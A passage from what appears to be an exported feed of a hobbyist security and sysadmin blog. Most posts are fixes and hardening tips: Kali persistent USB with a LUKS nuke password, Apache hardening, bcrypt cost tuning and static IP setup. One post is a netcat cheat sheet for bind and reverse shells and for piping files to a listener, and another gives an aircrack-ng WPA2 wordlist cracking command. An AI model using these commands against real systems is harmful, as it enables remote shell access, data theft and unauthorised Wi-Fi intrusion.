&lt;pre&gt; if ( ! array_key_exists(&#039;distribution_name&#039;, $info)) $info[&#039;distribution_name&#039;] = &#039;Drupal&#039;;&lt;/pre&gt;
&lt;p&gt;like so:&lt;/p&gt;
&lt;pre&gt;else {
    $profile = drupal_get_profile();
    $info = system_get_info(&#039;module&#039;, $profile);
    if ( ! array_key_exists(&#039;distribution_name&#039;, $info)) $info[&#039;distribution_name&#039;] = &#039;Drupal&#039;;
    return $info[&#039;distribution_name&#039;];
  }
}&lt;/pre&gt;</content>
<published>2017-04-09T01:54:00+00:00</published>
<updated>2017-04-09T01:54:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/56'/>
<id>https://wirelessarmy.theproject1.com/56</id>
<author><name>admin</name></author>
</entry> <entry>
<title>Kali linux persistence and nuke feature</title> 
<content type='html'>&lt;p&gt;&lt;strong&gt;DISCLAIMER:&lt;/strong&gt; WE ARE NOT RESPONSIBLE FOR ANY ABSTRUCTION OF LAW. THIS IS JUST A PROFF OF CONCEPT.&lt;/p&gt;
&lt;p&gt;Also if you are not careful you can install the iso on your main drive delete everything so we are not responsible for any data loss. Please get help before using dd&lt;/p&gt;
&lt;p&gt;Laptops and computers are everywhere. As a security researcher who travels a lot, it would be more convenient to carry around a usb than a laptop, just because size and weight.&lt;/p&gt;
&lt;p&gt;You have to keep in mind this feature doesn&amp;rsquo;t completely destroys the data, it only removes the luks headers that makes the data on the usb useless. The intender purpose that the creators of the feature had in mind was to save the data on the usb, email or send the lux header via trusted partner to a safe location. Nuke the device and not worry about getting intercepted with sensitive data.&lt;/p&gt;
&lt;p&gt;Kali linux is really flexible and it gives your multiples options&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;live boot: like any other linux distro, all the data will be lost after a reboot&lt;/li&gt;
&lt;li&gt;have a partition that doesn&amp;rsquo;t get deleted after a reboot (aka persistance)&lt;/li&gt;
&lt;li&gt;have an encrypted persistence partition&lt;/li&gt;
&lt;li&gt;nuke option where by using where you specify a second password and whenever you use that, everything on the drive would be deleted&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;dd if=kali.iso of/dev/sdb bs=1M&lt;/pre&gt;
&lt;p&gt;will write the iso on the usb with 2 partitions, boot and the main kali iso.&lt;br /&gt;We will create 2 more, one for persistence not encrypted and a forth one with encryption and nuke option.&lt;br /&gt;The numbers shown on the commands below are where the partitions start and finish, it will vary depending on the iso size and the usb drive size.&lt;/p&gt;
&lt;pre&gt;parted /dev/sdb
print
mkpart primary 901 5000
mkpart primary 5000 100%
q&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;fdisk &amp;ndash;l /dev/sdb&lt;/strong&gt; will show your new and updated partitions&lt;/p&gt;
&lt;p&gt;we will format and label the partitions 3 (the not encrypted one)&lt;/p&gt;
&lt;pre&gt;mkfs.ext3 /dev/sdb3
e2lable /dev/sdb3 persistence&lt;/pre&gt;
&lt;p&gt;we will mount the partition 3 add a file to it called persistence.conf with the value / union to say everything under root will be persistent&amp;nbsp; and the unmount it&lt;/p&gt;
&lt;pre&gt;mkdir &amp;ndash;p /mnt/usb
mount /dev/sdb3 /mnt/usb
echo &amp;ldquo;/ union&amp;rdquo; &amp;gt; /mnt/usb/persistence.conf
unmount /mnt/usb&lt;/pre&gt;
&lt;p&gt;Now for the encrypted partition with nuke:&lt;/p&gt;
&lt;p&gt;First we will format it&lt;/p&gt;
&lt;pre&gt;cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb4
cryptsetup luksOpen /dev/sdb4 my_usb&lt;/pre&gt;
&lt;p&gt;like before we will format the drive, label it, add persistence.conf file and close the encrypted drive&lt;/p&gt;
&lt;pre&gt;mkfs.ext3 /dev/mapper/my_usb
e2lable /dev/mapper/my_usb persistence
mkdir &amp;ndash;p /mnt/my_usb
mount /dev/mapper/myusb /mnt/my_usb
echo &amp;ldquo;/ union&amp;rdquo; &amp;gt; /mnt/my_usb/persistence.conf
unmount /dev/mapper/my_usb
cryptsetup lukksClose /dev/mapper/my_usb
ls &amp;ndash;l /dev/disk/by-label (just to see what&amp;rsquo;s up)&lt;/pre&gt;
&lt;p&gt;for adding the nuke capability&lt;/p&gt;
&lt;pre&gt;cryptsetup luksAddNuke /dev/sdb4&lt;/pre&gt;
&lt;p&gt;first you have to enter your main password then the password you would like to use for nuke capability&lt;/p&gt;
&lt;pre&gt;cryptsetup luksDump /dev/sdb4&lt;/pre&gt;
&lt;p&gt;will give you&amp;rsquo;re your header. Use it before and after luksAddNuke to see the change&lt;/p&gt;
&lt;p&gt;you can back it up with this command&lt;/p&gt;
&lt;p&gt;cryptsetup luksHeaderBackup --header-backup-file luksheader.back /dev/sdb4&lt;/p&gt;
&lt;p&gt;file luksheader.back&lt;/p&gt;
&lt;p&gt;now we can encrypt the backup luks header&lt;/p&gt;
&lt;p&gt;openssl enc -aes-256-cbc -salt -in luksheader.back -out luksheader.back.enc&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;In this case, we would like to place the header somewhere that it is easily accessible. This could be as simple as on a USB thumb drive that is kept in a safe location.&lt;/p&gt;
&lt;p&gt;Now you can nuke your kali live&lt;/p&gt;
&lt;p&gt;With this command you will see the keyslot was remove&lt;/p&gt;
&lt;pre&gt;cryptsetup luksDump /dev/sdb&lt;/pre&gt;
&lt;p&gt;To restore the header back in place, it&amp;rsquo;s a simple matter of retrieving the encrypted header from your USB drive. Once we have that, we can decrypt it.&lt;/p&gt;
&lt;pre&gt;openssl enc -d -aes-256-cbc -in luksheader.back.enc -out luksheader.back
cryptsetup luksHeaderRestore --header-backup-file luksheader.back /dev/sdb4&lt;/pre&gt;
&lt;p&gt;All we have to do is simply reboot and provide our normal LUKS password and the system is back to its original state.&lt;/p&gt;</content>
<published>2017-04-09T01:44:00+00:00</published>
<updated>2017-04-09T01:44:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/175'/>
<id>https://wirelessarmy.theproject1.com/175</id>
<author><name>admin</name></author>
</entry> <entry>
<title>DirectX error S1023</title> 
<content type='html'>&lt;p&gt;if you can’t install directX sdk version June 2010 because of the error s1023, first you need to remove the Visual C++ 2010 Redistributable Package version 10.0.40219 (Service Pack 1) both x86 and x64.&lt;/p&gt;
&lt;p&gt;Then install the directX.&lt;br&gt;
and now you can reinstall the Visual C++ 2010 Redistributable&amp;nbsp;from &lt;a href=&quot;http://www.microsoft.com/download/en/details.aspx?displaylang=en&amp;amp;amp;id=26999&quot;&gt;here&lt;/a&gt;. why would you need it? Because it fix some security issues that are mentioned &lt;a href=&quot;http://support.microsoft.com/kb/2565063&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://support.microsoft.com/kb/2728613&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content>
<published>2017-04-09T01:29:00+00:00</published>
<updated>2017-04-09T01:29:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/136'/>
<id>https://wirelessarmy.theproject1.com/136</id>
<author><name>admin</name></author>
</entry> <entry>
<title>itunes stopped working</title> 
<content type='html'>&lt;p&gt;if you just installed itunes (or updated it) on a windows 8 as soon as you ru it it will say: iTunes stopped working. all you need to do is copy QTMovieWin.dll from: C:\Program Files (x86)\Common Files\Apple\Apple Application Support to: C:\Program Files (x86)\iTunes and it should be fixed&lt;/p&gt;</content>
<published>2017-04-09T01:09:00+00:00</published>
<updated>2017-04-09T01:09:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/128'/>
<id>https://wirelessarmy.theproject1.com/128</id>
<author><name>admin</name></author>
</entry> <entry>
<title>netcat</title> 
<content type='html'>The bind shell on port 8080
&lt;pre&gt;Remote Host: nc -lvp 8080 -e /bin/bash
Local Host: nc re.mo.te.ip 8080&lt;/pre&gt;
The reverse shell on port 8080
&lt;pre&gt;Local Host: nc -lvp 8080
Remote Host: nc yo.ur.ho.st 8080 -e /bin/bash&lt;/pre&gt;
File Transfer
&lt;pre&gt;Host A: nc -lvp 8080 &amp;gt; local.file
Host B: cat remote.file | nc yo.ur.ho.st 8080
    or
Host B: nc yo.ur.ho.st 8080 &amp;lt; remote.file&lt;/pre&gt;
Directory Transfer with GZip compression
&lt;pre&gt;
Host A: tar zc directory | nc -w1 yo.ur.ho.st 8080
Host B: nc -lvp 8080|tar zx&lt;/pre&gt;</content>
<published>2017-04-09T00:59:00+00:00</published>
<updated>2017-04-09T00:59:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/78'/>
<id>https://wirelessarmy.theproject1.com/78</id>
<author><name>admin</name></author>
</entry> <entry>
<title>How to Crack wpa2 password</title> 
<content type='html'>&lt;div class=&quot;video-container&quot;&gt;&lt;iframe src=&quot;//www.youtube.com/embed/c2lLUUPVhZQ&quot; width=&quot;450&quot; height=&quot;338&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;allowfullscreen&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;p&gt;after that we captured the wpa2 handshake (if you don&#039;t know how just search within the site) we can crack it with a password brutforce (if the password is in our wordlist). also we need and word list of all the posible passwords&lt;/p&gt;
&lt;pre&gt;aircrack-ng capturedwpa2.cap -w /the/directory/ofthe/passwordlist.txt&lt;/pre&gt;
&lt;p&gt;file.cap for the file containing the captured wpa2 handshake and -w for the wordlist&lt;/p&gt;</content>
<published>2017-04-09T00:29:00+00:00</published>
<updated>2017-04-09T00:29:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/82'/>
<id>https://wirelessarmy.theproject1.com/82</id>
<author><name>admin</name></author>
</entry> <entry>
<title>connect: Network is unreachable</title> 
<content type='html'>&lt;p&gt;In this article we will show you how to give an static ip to a linux box.&lt;/p&gt;
&lt;p&gt;if you are trying to set an static ip address you may get an error like this:&lt;/p&gt;
&lt;pre&gt;connect: Network is unreachable&lt;/pre&gt;
&lt;p&gt;if you notice you can pin computers on the network but not websites.&lt;/p&gt;
&lt;p&gt;all you need to do is run this command and it should would:&lt;/p&gt;
&lt;pre&gt;route add default gw 192.168.1.1&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;
&lt;p&gt;and if you may had other problems we will go trough how to do it&lt;/p&gt;
&lt;p&gt;assuming you have your router set up like this:&lt;/p&gt;
&lt;p&gt;router ip: 192.168.1.1&lt;/p&gt;
&lt;p&gt;subnetmask: 255.255.255.0&lt;/p&gt;
&lt;p&gt;you need to open the file /etc/network/inerfaces&lt;/p&gt;
&lt;p&gt;and comment out these two lines&lt;/p&gt;
&lt;pre&gt;allow-hotplug eth0&lt;br /&gt;iface eth0 inet dhcp&lt;/pre&gt;
&lt;p&gt;to&lt;/p&gt;
&lt;pre&gt;#allow-hotplug eth0&lt;br /&gt;#iface eth0 inet dhcp&lt;/pre&gt;
&lt;p&gt;and add the fallowing line (assuming you want to have the ip address 192.168.1.15)&lt;/p&gt;
&lt;pre&gt;auto eth0 #to run on start up&lt;br /&gt;iface eth0 inet static #tel it to be static&lt;br /&gt;address 192.168.1.15  #the ip addess that you want to have&lt;br /&gt;netmask 255.255.255.0  #subnetmask&lt;br /&gt;gateway 192.168.1.1   #the ip address of your router&lt;br /&gt;broadcast 192.168.1.255 &lt;/pre&gt;
&lt;p&gt;and for the dns you need to edit the file /etc/resolv.conf&lt;/p&gt;
&lt;pre&gt;nameserver 192.168.1.1 #your routers dns&lt;br /&gt;nameserver 8.8.4.4 #or you can use googles dns&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;
&lt;p&gt;and filnally:&lt;/p&gt;
&lt;p&gt;Now you can restart the computer or just run this command&lt;/p&gt;
&lt;pre&gt;sudo /etc/init.d/networking restart&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;
&lt;p&gt;if you want to get back to dhcp dynamic ip you can just run&lt;/p&gt;
&lt;pre&gt;dhclient&lt;/pre&gt;
&lt;p&gt;if you had any more problems you can comment below and I would be more that happy to help&lt;/p&gt;</content>
<published>2017-04-09T00:24:00+00:00</published>
<updated>2017-04-09T00:24:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/149'/>
<id>https://wirelessarmy.theproject1.com/149</id>
<author><name>admin</name></author>
</entry> <entry>
<title>deal with space in directory and/or files name</title> 
<content type='html'>&lt;p&gt;if you had to deal with space with space in files name just add a “\” before the space and it will work just fine&lt;br&gt;
example: go to a folder called “my folder” &lt;/p&gt;
&lt;pre&gt;cd my\ folder&lt;/pre&gt;
</content>
<published>2017-04-09T00:19:00+00:00</published>
<updated>2017-04-09T00:19:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/74'/>
<id>https://wirelessarmy.theproject1.com/74</id>
<author><name>admin</name></author>
</entry> <entry>
<title>calculate cost for password</title> 
<content type='html'>&lt;p&gt;if you are making a site with login and password, you don&#039;t want the logins make your server load go high&lt;/p&gt;
&lt;pre&gt;$options = [&lt;br /&gt; &#039;cost&#039; =&amp;gt; 12,&lt;br /&gt; &#039;salt&#039; =&amp;gt; mcrypt_create_iv(16, MCRYPT_DEV_URANDOM),&lt;br /&gt; ];&lt;br /&gt; $hashed_password = password_hash($password, PASSWORD_BCRYPT, $options);&lt;/pre&gt;
&lt;p&gt;This&amp;nbsp;code&amp;nbsp;will&amp;nbsp;benchmark&amp;nbsp;your&amp;nbsp;server&amp;nbsp;to&amp;nbsp;determine&amp;nbsp;how&amp;nbsp;high&amp;nbsp;of&amp;nbsp;a&amp;nbsp;cost&amp;nbsp;you&amp;nbsp;can afford.&amp;nbsp;You&amp;nbsp;want&amp;nbsp;to&amp;nbsp;set&amp;nbsp;the&amp;nbsp;highest&amp;nbsp;cost&amp;nbsp;that&amp;nbsp;you&amp;nbsp;can&amp;nbsp;without&amp;nbsp;slowing&amp;nbsp;down you&amp;nbsp;server&amp;nbsp;too&amp;nbsp;much.&amp;nbsp;8 -10&amp;nbsp;is&amp;nbsp;a&amp;nbsp;good&amp;nbsp;baseline,&amp;nbsp;and&amp;nbsp;more&amp;nbsp;is&amp;nbsp;good&amp;nbsp;if&amp;nbsp;your&amp;nbsp;servers are&amp;nbsp;fast&amp;nbsp;enough.&amp;nbsp;The&amp;nbsp;code&amp;nbsp;below&amp;nbsp;aims&amp;nbsp;for&amp;nbsp;&amp;le;&amp;nbsp;50&amp;nbsp;milliseconds&amp;nbsp;stretching&amp;nbsp;time, which&amp;nbsp;is&amp;nbsp;a&amp;nbsp;good&amp;nbsp;baseline&amp;nbsp;for&amp;nbsp;systems&amp;nbsp;handling&amp;nbsp;interactive&amp;nbsp;logins.&lt;/p&gt;
&lt;pre&gt;$timeTarget = 0.05; // 50 milliseconds&lt;/pre&gt;
&lt;pre&gt;$cost = 8;&lt;br /&gt;do {&lt;br /&gt; $cost++;&lt;br /&gt; $start = microtime(true);&lt;br /&gt; password_hash(&quot;test&quot;, PASSWORD_BCRYPT, [&quot;cost&quot; =&amp;gt; $cost]);&lt;br /&gt; $end = microtime(true);&lt;br /&gt;} while (($end - $start) &amp;lt; $timeTarget);&lt;/pre&gt;
&lt;pre&gt;echo &quot;Appropriate Cost Found: &quot; . $cost . &quot;\n&quot;;&lt;/pre&gt;</content>
<published>2017-04-09T00:04:00+00:00</published>
<updated>2017-04-09T00:04:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/214'/>
<id>https://wirelessarmy.theproject1.com/214</id>
<author><name>admin</name></author>
</entry> <entry>
<title>7 Ways to make your apache server more secure</title> 
<content type='html'>&lt;h3&gt;1 hide Apache Version and OS&lt;/h3&gt;
&lt;p&gt;Apache will show its version with the OS installed in your server. By hiding it, hackers can&amp;rsquo;t know if your server is exploitable with an specific exploit or not, therefor less susceptible to attacks.&lt;/p&gt;
&lt;p&gt;Add the following lines to &lt;strong&gt;/etc/apache2/conf-available/security.conf&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;ServerSignature Off &lt;br /&gt;ServerTokens Prod&lt;/pre&gt;
&lt;p&gt;Also if you are using php change the expose_php = Off in &lt;strong&gt;/etc/php5/apache2/php.ini&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2 Disable Directory Listing&lt;/h3&gt;
&lt;pre&gt;&amp;lt;Directory /var/www/html&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Options -Indexes
&lt;p&gt;&amp;lt;/Directory&amp;gt;&lt;/pre&gt;
&lt;h3&gt;3 update apache Regularly&lt;/h3&gt;
&lt;pre&gt;apt-get update &amp;amp;&amp;amp; apt-get upgrade &amp;ndash;y&lt;/pre&gt;
&lt;h3&gt;4 use the security module&lt;/h3&gt;
&lt;pre&gt;apt-get install libapache2-modsecurity
a2enmod security2&lt;/pre&gt;
&lt;h3&gt;5 Limit Request Size&lt;/h3&gt;
&lt;p&gt;By default, Apache has no limit on the total size of the HTTP request. To not be a victim of Denial of service attacks. We can Limit the requests size of an Apache directive &amp;ldquo;LimitRequestBody&amp;rdquo; with the directory tag. (The following is in bytes for 2.5mb)&lt;/p&gt;
&lt;pre&gt;&amp;nbsp;&amp;lt;Directory &quot;/var/www/myweb1/user_uploads&quot;&amp;gt;
&amp;nbsp;&amp;nbsp; LimitRequestBody 2621440
&amp;lt;/Directory&amp;gt;&lt;/pre&gt;
&lt;h3&gt;6 Enable Apache Logging&lt;/h3&gt;
&lt;p&gt;Before fixing anything you need to find out what&amp;rsquo;s broken and it&amp;rsquo;s where having a log file matters&lt;/p&gt;
&lt;p&gt;You may want to add something like this to your default.conf virtual host&lt;/p&gt;
&lt;pre&gt;ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;/pre&gt;
&lt;h3&gt;7 use ssl certification&lt;/h3&gt;
&lt;p&gt;The only reason we care about ssl is so we don&amp;rsquo;t have to worry about mitm attack&lt;/p&gt;
&lt;p&gt;You can buy one online (most common)&lt;/p&gt;
&lt;p&gt;Or you can build your own (&lt;a href=&quot;/index.php/15&quot;&gt;tutorial here&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Or you can use letsencrypt (&lt;a href=&quot;/index.php/174&quot;&gt;tutorial here&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;After all those changes you might want to restart apache to let changes take place&lt;/p&gt;
&lt;p&gt;Service apache2 restart&lt;/p&gt;</content>
<published>2017-04-08T23:54:00+00:00</published>
<updated>2017-04-08T23:54:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/173'/>
<id>https://wirelessarmy.theproject1.com/173</id>
<author><name>admin</name></author>
</entry> <entry>
<title>mariaDB connection error</title> 
<content type='html'>&lt;p&gt;when installing the new version of maria db you may have to do one more step other than setting the password to make it work (fist line):&lt;/p&gt;
&lt;p&gt;UPDATE user SET plugin=&quot;&quot;; &lt;br /&gt;UPDATE user SET password=PASSWORD(&quot;pass&quot;) WHERE user=&quot;root&quot;;&lt;br /&gt;FLUSH PRIVILEGES;&lt;/p&gt;</content>
<published>2017-03-26T12:40:15+00:00</published>
<updated>2017-03-26T12:40:15+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/219'/>
<id>https://wirelessarmy.theproject1.com/219</id>
<author><name>admin</name></author>
</entry> <entry>
<title>real time update from php</title> 
<content type='html'>&lt;p&gt;the following is really useful if you want a real time&amp;nbsp;update of something with ajax&lt;/p&gt;
&lt;p&gt;if you have a php&amp;nbsp;for loop like the following:&lt;/p&gt;
&lt;pre&gt;for ($i = 0; $i &amp;lt; 5; ++$i) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; echo $i.&quot; &quot;;&lt;br /&gt;&amp;nbsp; &amp;nbsp; sleep(1);&lt;br /&gt;}&lt;/pre&gt;
&lt;p&gt;if will run the loop and then&amp;nbsp;give you all the numbers at the same time. But what you want it to show you the one number per second.&lt;/p&gt;
&lt;p&gt;you will have to add ob_flush and flush:&lt;/p&gt;
&lt;pre&gt;for ($i = 0; $i &amp;lt; 5; ++$i) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; echo $i.&quot; &quot;;&lt;br /&gt;&amp;nbsp; &amp;nbsp; ob_flush();&lt;br /&gt;&amp;nbsp; &amp;nbsp; flush();&lt;br /&gt;&amp;nbsp; &amp;nbsp; sleep(1);&lt;br /&gt;}&lt;/pre&gt;
&lt;p&gt;you can also set a time limit like so&lt;/p&gt;
&lt;pre&gt;set_time_limit(30);&lt;/pre&gt;
&lt;p&gt;and make sure it doesn&#039;t stop if user closes the page&lt;/p&gt;
&lt;pre&gt;ignore_user_abort();&lt;/pre&gt;
&lt;p&gt;now if you want to use ajax, the following is useless&lt;/p&gt;
&lt;pre&gt;$.ajax({&lt;br /&gt; type: &#039;POST&#039;, url: &#039;/test.php&#039;,&lt;br /&gt; data: &quot;test=test&quot;&lt;br /&gt;}).done(function (msg) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; alert(msg);&lt;br /&gt; }&lt;br /&gt;}).fail(function (jqXHR, textStatus) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; console.log(&quot;error&quot;);&lt;br /&gt;});&lt;/pre&gt;
&lt;p&gt;because it will only detect a 4 ready status&lt;/p&gt;
&lt;pre&gt;0: request not initialized &lt;br /&gt;1: server connection established&lt;br /&gt;2: request received &lt;br /&gt;3: processing request &lt;br /&gt;4: request finished and response is ready&lt;/pre&gt;
&lt;pre&gt;var http = new XMLHttpRequest();&lt;br /&gt;var url = &quot;/test.php&quot;;&lt;br /&gt;var params =&amp;nbsp;&quot;test=test&quot;;&lt;br /&gt;http.open(&quot;POST&quot;, url, true);&lt;br /&gt;http.setRequestHeader(&quot;Content-type&quot;, &quot;application/x-www-form-urlencoded&quot;);&lt;br /&gt;
http.onreadystatechange = function() {&lt;br /&gt;&amp;nbsp; &amp;nbsp; var msg = http.responseText;&lt;br /&gt;&amp;nbsp; &amp;nbsp; if(http.readyState == 4 &amp;amp;&amp;amp; http.status == 200) {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; alert(msg);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }else if (http.readyState &amp;gt; 2 ){&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;alert(msg);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }
}&lt;br /&gt;http.send(params);&lt;/pre&gt;</content>
<published>2016-11-17T11:22:00+00:00</published>
<updated>2016-11-17T11:22:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/215'/>
<id>https://wirelessarmy.theproject1.com/215</id>
<author><name>admin</name></author>
</entry> <entry>
<title>msfconsole database error</title> 
<content type='html'>&lt;p&gt;if you get this error when you type msfconsole:&lt;/p&gt;
&lt;pre&gt;Failed to connect to the database: could not connect to server: Connection refused
        Is the server running on host &quot;127.0.0.1&quot; and accepting
        TCP/IP connections on port 7175?&lt;/pre&gt;
&lt;p&gt;or your armitage does not work:&lt;br&gt;
&lt;img src=&quot;/images/blog/msf1.png&quot; alt=&quot;msf&quot; /&gt;&lt;br&gt;
you should do:&lt;/p&gt;
&lt;pre&gt;sudo /opt/framework/postgresql/scripts/ctl.sh start
or
sudo /opt/framework3/postgresql/scripts/ctl.sh start
or 
sudo /opt/metasploit/postgresql/scripts/ctl.sh start&lt;/pre&gt;</content>
<published>2016-11-13T13:38:00+00:00</published>
<updated>2016-11-13T13:38:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/102'/>
<id>https://wirelessarmy.theproject1.com/102</id>
<author><name>admin</name></author>
</entry> <entry>
<title>TPM for full disk encryption</title> 
<content type='html'>&lt;p&gt;&lt;span style=&quot;background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;TPM stands for &amp;ldquo;Trusted Platform Module&amp;rdquo;. It&amp;rsquo;s a chip on your computer&amp;rsquo;s motherboard that helps enable tamper-resistant full-disk encryption without requiring extremely long passphrases.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;he TPM generates encryption keys, keeping part of the key to itself. So, if you&amp;rsquo;re using BitLocker encryption or device encryption on a computer with the TPM, part of the key is stored in the TPM itself, rather than just on the disk. This means an attacker can&amp;rsquo;t just remove the drive from the computer and attempt to access its files elsewhere.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: Calibri; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;This chip provides hardware-based authentication&amp;nbsp;and tamper detection, so an attacker can&amp;rsquo;t attempt to remove the chip and place it on another motherboard, or tamper with the motherboard itself to attempt to bypass the encryption &lt;/span&gt;&lt;span style=&quot;font-family: &#039;Slab Serif&#039;; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;&amp;mdash; at least in theory.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: Calibri; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;You normally just gain access to an encrypted drive by typing your Windows login password, but it&amp;rsquo;s protected with a longer encryption key than that. That encryption key is partially stored in the TPM, so you actually need your Windows login password and the same computer the drive is from to get access. That&amp;rsquo;s why the &amp;ldquo;recovery key&amp;rdquo; for BitLocker is quite a bit longer &lt;/span&gt;&lt;span style=&quot;font-family: &#039;Slab Serif&#039;; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;&amp;mdash; you need that longer recovery key to access your data if you move the drive to another computer.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;&quot;&gt;TPM is almost guaranteed to provide is a false sense of security (even the name itself, &quot;Trusted Platform Module&quot;, is misleading and creates a false sense of security). As for real security, TPM is actually redundant (and implementing redundant features is usually a way to create so-called bloatware).&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;from&amp;nbsp;&lt;a href=&quot;https://veracrypt.codeplex.com/wikipage?title=FAQ&quot;&gt;truecrypt&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Some encryption programs use TPM to prevent attacks. Will VeraCrypt use it too?&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;No. Those programs use TPM to protect against attacks that&amp;nbsp;&lt;span style=&quot;font-style: italic;&quot;&gt;require&lt;/span&gt;&amp;nbsp;the attacker to have administrator privileges, or physical access to the computer, and the attacker needs you to use the computer after such an access.&lt;span style=&quot;font-style: italic;&quot;&gt;However, if any of these conditions is met, it is actually impossible to secure the computer&lt;/span&gt;&amp;nbsp;(see below) and, therefore, you must stop using it (instead of relying on TPM).&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;If the attacker has administrator privileges, he can, for example, reset the TPM, capture the content of RAM (containing master keys) or content of files stored on mounted VeraCrypt volumes (decrypted on the fly), which can then be sent to the attacker over the Internet or saved to an unencrypted local drive (from which the attacker might be able to read it later, when he gains physical access to the computer).&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;If the attacker can physically access the computer hardware (and you use it after such an access), he can, for example, attach a malicious component to it (such as a hardware keystroke logger) that will capture the password, the content of RAM (containing master keys) or content of files stored on mounted VeraCrypt volumes (decrypted on the fly), which can then be sent to the attacker over the Internet or saved to an unencrypted local drive (from which the attacker might be able to read it later, when he gains physical access to the computer again).&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The only thing that TPM is almost guaranteed to provide is a false sense of security (even the name itself, &quot;Trusted Platform Module&quot;, is misleading and creates a false sense of security). As for real security, TPM is actually redundant (and implementing redundant features is usually a way to create so-called bloatware).&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;For more information, please see the sections&amp;nbsp;Physical Security&amp;nbsp;and&amp;nbsp;&lt;a href=&quot;https://veracrypt.codeplex.com/wikipage?title=Malware&quot;&gt;Malware&lt;/a&gt;&amp;nbsp;in the&lt;a href=&quot;https://veracrypt.codeplex.com/documentation&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;</content>
<published>2016-11-12T21:55:00+00:00</published>
<updated>2016-11-12T21:55:00+00:00</updated>
<link rel='alternate' type='text/html' href='//wirelessarmy.theproject1.com/201'/>
<id>https://wirelessarmy.theproject1.com/201</id>
<author><name>admin</name></author>
</entry> <entry>
<title>expand storage on a raspberry pi</title> 
<content type='html'>&lt;pre&gt;&lt;code&gt;fdisk /dev/mmcblk0&lt;br /&gt;&lt;/code&gt;p&lt;br /&gt;d&lt;br /&gt;2 (where linux is ext4) #you can also d, 3 to delete swap partition too&lt;br /&gt;n&lt;br /&gt;p&lt;br /&gt;2 &lt;br /&gt;type the start number&lt;br /&gt;press enter to select the last sector&lt;br /&gt;w&lt;br /&gt;&lt;br /&gt;the reboot&lt;/pre&gt;
